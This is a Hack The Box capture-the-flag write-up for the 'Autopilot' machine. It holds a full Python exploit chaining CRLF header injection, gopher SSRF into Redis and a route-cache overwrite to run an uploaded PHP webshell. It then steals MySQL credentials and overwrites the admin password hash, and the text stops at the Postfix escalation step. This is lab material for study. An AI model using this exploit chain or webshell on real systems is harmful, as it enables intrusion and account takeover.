Hack The Box - HTB Autopilot Writeup - Insane - Weekly - october 17th, 2026

Hack The Box - HTB Autopilot  Writeup - Insane - Weekly - october 17th, 2026

  • Target: <TARGET_IP> (mail.autopilot.htb, Grommunio Linux edge) · Attacker: <KALI_IP> (tun0)
  • Domain: autopilot.htb · Internal: MAIL MAIL, DC01 DC01, WS02 WS02
  • OS: Linux (Grommunio) edge in front of a Windows Server 2025 AD · Difficulty: Insane
  • Given foothold: deborah.hernandez : <provided-password>

Flags

  • user.txt (on the MAIL host, /root/user.txt): [REDACTED-USER-FLAG]
  • root.txt (on DC01, C:\Users\Administrator\Desktop\root.txt): [REDACTED-ROOT-FLAG]

0. Environment setup

0.1 VPN path-MTU black hole (fix first, or large requests hang)

This chain pushes big bodies (WebDAV PUTs, a multipart EML import, a 7 MB agent download). HTB's tun0 defaults to MTU 1500 but the real path MTU is ~1300; oversized packets are dropped with no ICMP, so TCP retransmits forever and the request "hangs."

sudo ip link set dev tun0 mtu 1300
  • Lowers the interface MTU so TCP negotiates a smaller MSS and never emits an oversized segment. Re-apply after each VPN reconnect.

0.2 Name resolution

echo '<TARGET_IP> autopilot.htb mail.autopilot.htb' | sudo tee -a /etc/hosts
  • The edge is name-based vhosting; every request must carry Host: mail.autopilot.htb. Putting it in /etc/hosts lets curl/requests resolve it to the target so the right vhost is served.

0.3 Recon — what's exposed

nmap -Pn -n -sV -p 22,25,80,110,143,443,465,587,993,995,8080 <TARGET_IP>
  • -Pn skip host-discovery (ICMP is unreliable over VPN), -n no DNS, -sV service/version.
  • Result: only 443/tcp open (nginx TLS); everything else filtered. A full -p- scan returns "all filtered" because HTB rate-limits SYN floods — 443 is the only real surface.
echo | openssl s_client -connect <TARGET_IP>:443 -servername mail.autopilot.htb 2>/dev/null \
  | openssl x509 -noout -subject -issuer -ext subjectAltName
  • Pulls the TLS certificate. SANs are grommunio/autodiscover/mail.autopilot.htb; the issuer is autopilot-DC01-CA → there's an AD domain autopilot.htb with a DC named DC01 behind the mail edge.
curl -ksSI https://mail.autopilot.htb/           # 301 -> /web/
curl -ksS  https://mail.autopilot.htb/web/ | grep -oiE 'version=[0-9.g]+'
  • -k ignore cert (self-signed), -s silent, -S show errors, -I headers only.
  • / redirects to /web/ (Grommunio Web); the page reports version=5.2.13. /files/ sets Nextcloud cookies (oc_sessionPassphrase) → the Files app is Nextcloud-based (grommunio-files).

0.4 Validate the given credential on both surfaces

# Grommunio Web logon
curl -ksS -c cookies -d 'username=deborah.hernandez' --data-urlencode 'password=<provided-password>' \
  'https://mail.autopilot.htb/web/?logon' -o /dev/null -w '%{http_code}\n'      # 303 = success
# WebDAV (the Files backend)
curl -ksS -u 'deborah.hernandez:<provided-password>' -X PROPFIND -H 'Depth: 1' \
  'https://mail.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/' -w '%{http_code}\n'  # 207
  • A 303 redirect after logon = valid Web session; 207 Multi-Status from WebDAV = valid Files access. Both are needed for the foothold.

1. Foothold — Seafile SSRF → Redis → PHP RCE (as grofiles)

The idea. grommunio-files (Nextcloud) stores its compiled URL routes in Redis. If I can insert a fake route that maps a URL like /ctf to "include this PHP file", then requesting that URL executes my code. Redis is loopback-only, so I need a server-side request to reach it — which the Seafile Files integration provides: it fetches a server-supplied "download URL" server-side, and if I make that URL a gopher://127.0.0.1:6379/... string, I can speak the Redis protocol into it (SSRF→Redis). I control the "Seafile server's" replies by pointing the backend at Grommunio's own download_attachment endpoint, serving JSON I imported via an EML and matched by Content-Location. The internal request is authenticated with a CRLF injection in the Seafile password field that smuggles Deborah's session cookie.

1.1 Upload the (inert) PHP payload over WebDAV

cat > rclprobe.txt <<'PHP'
<?php header('Content-Type: text/plain'); $c=$_GET['cmd']??'id'; @passthru($c.' 2>&1'); ?>
PHP
curl -ksS -u 'deborah.hernandez:<provided-password>' -T rclprobe.txt \
  'https://mail.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/rclprobe.txt' -w '%{http_code}\n'
  • -T file = HTTP PUT (WebDAV upload). Returns 201 Created.
  • Fetching it back returns the raw PHP source (served as static text, HTTP 200) — proof it does not execute on its normal URL. It lands on disk at /var/lib/grommunio-files/data/deborah.hernandez/files/rclprobe.txt; we'll make PHP include that path next.

1.2 The Redis route payload (gopher)

The route-cache key (prefix is baked into the box image and stable across resets):

0080d9f8020c1c045f3ae6468d0c933a/routemail.autopilot.htb#/files/index.php#rootCollection

We SETEX it (20-second TTL) to a serialized route collection whose /ctf entry carries file = <our uploaded txt>. The gopher URL encodes raw RESP bytes:

gopher://127.0.0.1:6379/_*4\r\n$5\r\nSETEX\r\n$88\r\n<key>\r\n$2\r\n20\r\n$<n>\r\n<route-json>\r\n ... QUIT
  • gopher://host:6379/_<data> — the _ byte is dropped; everything after is sent raw to the Redis TCP port. *4 = array of 4 bulk strings = the SETEX key 20 value command; a trailing QUIT closes cleanly.

The whole dance is performed by the exploit script shown in full at the end of this section; in order it:

  1. POST /web/?logon → logged-in requests.Session.
  2. Uploads 3 attachments and saves a draft → yields store_entryid + parent_entryid (needed to address download_attachment).
  3. Imports an EML whose 4 attachments carry Content-Location headers exactly matching the Seafile API paths the backend will request:
    • mock/api2/ping/ → "pong"
    • mock/api2/repos/ → a one-repo list
    • mock/api2/repos/<id>/file/?p=/route_exec → the SETEX gopher URL
    • .../?p=/route_del → the DEL gopher URL
  4. Triggers filesbrowsermodule/downloadtotmp on #R#<acct>/mock/route_exec → the backend fetches our gopher URL → Redis SETEX fires.
  5. GET /files/index.php/ctf?cmd=<cmd> → router matches /ctf → PHP includes our file → command runs as grofiles.

Creates a Seafile Files account whose server_path is Grommunio's own download_attachment?...&attachCid=mock, so the backend's /api2/... requests resolve to our imported JSON. The password field is the exploit primitive:

password = "x\r\nCookie: <deborah session cookies>\r\nUser-Agent: <ua>"

The \r\n smuggle a Cookie header (authenticating the internal download_attachment request as Deborah) and a User-Agent header.

The gotcha that cost real time. The mock account must be created in one step with the Cookie and the matching User-Agent together. If you first create it with only the Cookie (no UA), Grommunio runs a server-side validation whose request arrives with a mismatched User-Agent and silently invalidates your web session — the very next webapp call returns a 401 HTML page, and nothing works. Creating it once with the full Cookie + User-Agent returns status: ok and keeps the session alive. (Observed directly: create resp ... "status":"err","status_description":"401 Unauthorized" on the preliminary account, then the follow-up PATCH came back as a 401 HTML page = session dead.)

The complete exploit script (run it as python3 -I foothold.py '<cmd>'):

#!/usr/bin/env python3
"""
HTB Autopilot - foothold: Seafile SSRF -> gopher -> Redis route-cache overwrite
-> PHP include of Deborah's uploaded rclprobe.txt -> RCE as grofiles.

Usage: python3 -I foothold.py '<cmd>'
       (default cmd = id).  Re-run to refresh the 20s route and run another cmd.
"""
import json, os, secrets, sys, time
from email.message import EmailMessage
from email.policy import SMTP
from urllib.parse import quote_from_bytes

import requests, urllib3
urllib3.disable_warnings()

TARGET = os.environ.get("TARGET_IP", "<TARGET_IP>")
HOST   = "mail.autopilot.htb"
BASE   = f"https://{HOST}/"
USER   = "deborah.hernandez"
PASS   = "<provided-password>"
CMD    = sys.argv[1] if len(sys.argv) > 1 else "id"

# Nextcloud/grommunio-files distributed-cache prefix (baked into the box image).
PREFIX = os.environ.get("FILES_CACHE_PREFIX", "0080d9f8020c1c045f3ae6468d0c933a")
PAYLOAD_FILE = f"/var/lib/grommunio-files/data/{USER}/files/rclprobe.txt"
REPO_ID = "11111111-1111-1111-1111-111111111111"

# ---------------------------------------------------------------- Redis gopher
def resp(*values):
    out = bytearray(f"*{len(values)}\r\n".encode())
    for v in values:
        item = str(v).encode()
        out += f"${len(item)}\r\n".encode() + item + b"\r\n"
    return bytes(out)

def gopher(*commands):
    data = b"".join(resp(*c) for c in commands)
    return "gopher://127.0.0.1:6379/_" + quote_from_bytes(data, safe="")

def build_urls():
    key = f"{PREFIX}/routemail.autopilot.htb#/files/index.php#rootCollection"
    route = [
        False,
        {"/ctf": [[{"_route": "ctf", "file": PAYLOAD_FILE}, None, {"GET": 0},
                   None, False, False, None]]},
        [], {}, None,
    ]
    route_json = json.dumps(route, separators=(",", ":"))
    exec_url = gopher(("SETEX", key, 20, route_json), ("QUIT",))
    del_url  = gopher(("DEL", key), ("QUIT",))
    return exec_url, del_url

# ---------------------------------------------------------------- HTTP session
s = requests.Session()
s.verify = False
s.headers["User-Agent"] = "Mozilla/5.0 autopilot"

def webapp(payload):
    return s.post(BASE + "web/grommunio.php?subsystem=webapp_" + str(int(time.time()*1000)),
                  json={"grommunio": payload}, timeout=45)

def login():
    r = s.post(BASE + "web/?logon", data={"username": USER, "password": PASS}, timeout=30)
    r.raise_for_status()
    print(f"[+] logged in as {USER} (HTTP {r.status_code})")

# ---------------------------------------------------------------- draft bootstrap
def bootstrap_draft():
    """Create a draft with 3 mock attachments so we obtain store_entryid/parent_entryid."""
    dialog = "mockattach" + secrets.token_hex(11)
    files = [
        ("attachments[]", ("ping.json",  b'"pong"', "application/json")),
        ("attachments[]", ("repos.json",
            json.dumps([{"type":"repo","name":"mock","id":REPO_ID,"mtime":0}]).encode(),
            "application/json")),
        ("attachments[]", ("file.json",
            json.dumps("http://127.0.0.1/statusmonitor").encode(), "application/json")),
    ]
    up = s.post(BASE + "web/index.php?load=upload_attachment"
                + "&dialog_attachments=" + dialog
                + "&module=createmailitemmodule&moduleid=1",
                data={"dialog_attachments": dialog, "ignore_extract_attachid": "true"},
                files=files, timeout=40).json()
    uploaded = up["grommunio"]["createmailitemmodule"]["1"]["update"]["item"]
    locations = ["mock/api2/ping/", "mock/api2/repos/",
                 f"mock/api2/repos/{REPO_ID}/file/?p=/foo"]
    attachments = [{"inline": True, "tmpname": it["props"]["tmpname"], "cid": loc}
                   for it, loc in zip(uploaded, locations)]
    save_body = {"createmailitemmodule": {"1": {"save": {
        "props": {"message_class": "IPM.Note", "subject": "Seafile mock " + dialog},
        "attachments": {"dialog_attachments": dialog, "add": attachments}}}}}
    saved = webapp(save_body).json()
    item = saved["grommunio"]["createmailitemmodule"]["1"]["update"]["item"]
    print(f"[+] draft created; store_entryid len={len(item['store_entryid'])}")
    return item

# ---------------------------------------------------------------- EML import
def import_eml(store, draft_folder, exec_url, del_url):
    msg = EmailMessage(policy=SMTP.clone(max_line_length=998))
    msg["From"] = msg["To"] = f"{USER}@autopilot.htb"
    msg["Subject"] = "Draft route script"
    msg.set_content("Draft route script.")
    responses = [
        ("mock/api2/ping/", json.dumps("pong")),
        ("mock/api2/repos/", json.dumps([{"type":"repo","name":"mock","id":REPO_ID,"mtime":0}])),
        (f"mock/api2/repos/{REPO_ID}/file/?p=/route_exec", json.dumps(exec_url)),
        (f"mock/api2/repos/{REPO_ID}/file/?p=/route_del",  json.dumps(del_url)),
    ]
    for loc, body in responses:
        msg.add_attachment(body.encode(), maintype="application", subtype="json",
                           filename="data.json")
        msg.get_payload()[-1]["Content-Location"] = loc
    dialog = "mockattach" + secrets.token_hex(12)
    params = {"load":"upload_attachment","module":"createmailitemmodule","moduleid":"1",
              "dialog_attachments":dialog,"store":store,"destination_folder":draft_folder,
              "import":"1","ignore_extract_attachid":"true"}
    reply = s.post(BASE + "web/index.php", params=params, data=params,
                   files=[("attachments[]", ("probe.eml", msg.as_bytes(), "message/rfc822"))],
                   timeout=40).json()
    entry_id = reply["grommunio"]["createmailitemmodule"]["1"]["import"]["items"]
    print(f"[+] EML imported; entryid len={len(entry_id)}")
    return entry_id

# ---------------------------------------------------------------- Seafile acct
def make_account(store, entry_id):
    cookie = "; ".join(f"{k}={v}" for k, v in s.cookies.items())
    ua = s.headers.get("User-Agent", "python-requests")
    server_path = ("web/index.php?load=download_attachment&store=" + store
                   + "&entryid=" + entry_id + "&attachCid=mock")
    config = {"server_address": HOST, "server_port": "443", "server_ssl": "1",
              "server_path": server_path, "user": "@auth:token:deborah",
              "password": "x\r\nCookie: " + cookie + "\r\nUser-Agent: " + ua,
              "use_grommunio_credentials": "0"}
    # single-step create with full Cookie+UA config: a mismatched-UA server-side
    # validation would invalidate our web session, so inject the matching UA now.
    created = webapp({"filesaccountmodule": {"1": {"save": {"props": {
        "name": "mock-seafile-relay", "backend": "Seafile",
        "backend_config": config}}}}}).json()
    if os.environ.get("DEBUG_ACC"):
        print("[dbg] create resp:", json.dumps(created)[:700])
    item = created["grommunio"]["filesaccountmodule"]["1"]["update"]["item"][0]
    acct = item["entryid"]
    print(f"[+] Seafile account created: {acct}  status={item['props'].get('status')} "
          f"({item['props'].get('status_description')})")
    return acct

def trigger(acct, name):
    return webapp({"filesbrowsermodule": {"1": {"downloadtotmp": {
        "ids": ["#R#" + acct + "/mock/" + name],
        "dialog_attachments": "test" + secrets.token_hex(14)}}}})

# ---------------------------------------------------------------- main
def main():
    exec_url, del_url = build_urls()
    login()
    item = bootstrap_draft()
    store, folder = item["store_entryid"], item["parent_entryid"]
    entry_id = import_eml(store, folder, exec_url, del_url)

    if os.environ.get("DEBUG_DUMP"):
        # directly fetch the mock ping attachment with our own session cookie,
        # to confirm download_attachment+attachCid serves the imported JSON.
        for cid in ["mock/api2/ping/", "mock/api2/repos/",
                    f"mock/api2/repos/{REPO_ID}/file/?p=/route_exec"]:
            u = (BASE + "web/index.php?load=download_attachment&store=" + store
                 + "&entryid=" + entry_id + "&attachCid=" + requests.utils.quote(cid, safe=""))
            rr = s.get(u, timeout=20)
            print(f"[dbg] CID={cid!r} -> HTTP {rr.status_code} len={len(rr.content)} :: {rr.text[:120]!r}")
        print("[dbg] cookies:", dict(s.cookies))
        return

    acct = make_account(store, entry_id)
    print("[*] triggering route_exec (Redis SETEX via gopher SSRF)...")
    r = trigger(acct, "route_exec")
    print("    downloadtotmp status:", r.status_code)
    print("    body:", r.text[:800])
    time.sleep(1)
    print(f"[*] executing cmd: {CMD}")
    out = s.get(BASE + "files/index.php/ctf", params={"cmd": CMD}, timeout=30)
    print("=" * 60)
    print(out.text)
    print("=" * 60, "HTTP", out.status_code)

if __name__ == "__main__":
    main()

1.4 Fire it

export TARGET_IP='<TARGET_IP>'
python3 -I foothold.py 'id'
  • -I runs Python in isolated mode (ignores $PYTHONPATH/cwd — good hygiene around untrusted dirs).
  • The downloadtotmp response is {"error":... "0 UNKNOWN_PHRASE"} — expected: a Redis reply isn't a valid Seafile file, but the side effect (the SETEX) already happened.
  • Output:
Seafile account created: ...  status=ok (Account is ready to use.)
============================================================
uid=462(grofiles) gid=462(grofiles) groups=462(grofiles)
============================================================

RCE as grofiles. Each run sets up a fresh 20-second route and runs one command; re-run for each command.


2. grofiles → root on MAIL (Postfix daemon_directory)

2.1 Read the Postfix→MySQL credentials

python3 -I foothold.py 'cat /etc/postfix/grommunio-virtual-mailbox-maps.cf; ip -br addr'
  • Grommunio's Postfix looks up mailboxes in MySQL; the lookup config contains the DB creds in cleartext:
user = grommunio
password = <mysql-password>
hosts = localhost
dbname = grommunio
  • ip -br addr also shows the host's internal NIC: eth0 MAIL/24 (first glimpse of the AD subnet).

2.2 Take over the Admin API by rewriting its password in the DB

The grommunio Admin API (loopback 127.0.0.1:8080) authenticates its admin user against row id=0 of grommunio.users. We own the DB, so we save the original hash, drop in a known one, log in, then restore it afterwards.

# save the real hash first (base64 the UPDATE to dodge $-expansion in the webshell)
python3 -I foothold.py "mysql -h127.0.0.1 -ugrommunio -p<mysql-password> grommunio \
  -e 'SELECT id,username,password FROM users WHERE id=0'"      # -> <original-admin-hash>  (saved to loot/)
NEWHASH=$(openssl passwd -6 '<temp-admin-password>')                   # sha512-crypt of a temp password
B64=$(printf "UPDATE users SET password='%s' WHERE id=0;" "$NEWHASH" | base64 -w0)
python3 -I foothold.py "echo $B64 | base64 -d | mysql -h127.0.0.1 -ugrommunio -p<mysql-password> grommunio"
  • openssl passwd -6 = sha512-crypt (the $6$ scheme the Admin API expects).
  • base64-ing the SQL means the $// in the hash never hit the remote shell.
python3 -I foothold.py "curl -s -H 'Host: mail.autopilot.htb' \
  --data-urlencode 'user=admin' --data-urlencode 'pass=<temp-admin-password>' http://127.0.0.1:8080/api/v1/login"
  • Returns {"csrf":"...","grommunioAuthJwt":"..."}. Config changes need the JWT in a cookie and the CSRF in X-Csrf-Token. Save both.

2.3 The privileged primitive: Postfix daemon_directory